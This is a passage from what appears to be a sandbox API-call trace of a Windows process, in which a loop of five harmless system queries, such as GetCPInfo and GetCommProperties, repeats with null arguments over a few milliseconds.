lpSelectorEntry=0x18feb8) returned 1 [0112.762] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.762] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.762] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.762] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.762] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.762] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.762] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.762] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.762] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.762] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.762] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.762] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.762] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.762] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.762] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.762] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.763] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.763] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.763] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.763] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.763] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.763] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.763] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.763] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.763] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.763] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.763] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.763] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.763] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.763] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.763] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.763] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.763] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.763] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.763] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.763] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.763] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.763] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.763] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.763] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.763] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.764] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.764] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.764] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.764] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.764] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.764] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.764] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.764] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.764] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.764] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.764] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.764] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.764] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.764] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.764] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.764] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.764] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.764] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.764] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.764] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.764] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.765] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.765] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.765] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.765] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.765] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.765] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.765] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.765] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.765] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.765] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.765] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.765] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.765] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.765] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.765] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.765] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.765] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.765] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.765] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.765] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.765] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.765] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.765] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.765] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.765] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.765] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.765] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.765] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.765] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.765] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.766] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.766] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.766] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.766] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.766] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.766] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.766] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.766] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.766] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.766] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.766] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.766] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.766] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.767] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.767] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.767] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.767] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.767] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.767] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.767] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.767] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.767] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.767] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.767] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.767] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.767] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.767] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.767] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.767] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.767] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.767] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.767] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.767] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.767] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.767] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.767] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.767] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.767] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.767] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.767] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.767] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.767] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.768] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.768] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.768] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.768] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.768] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.768] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.768] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.768] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.768] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.768] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.768] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.768] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.768] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.768] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.768] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.768] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.768] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.768] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.768] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.768] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.768] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.768] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.768] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.768] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.768] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.768] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.769] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.769] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.769] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.769] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.769] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.769] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.769] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.769] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.769] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.769] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.769] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: 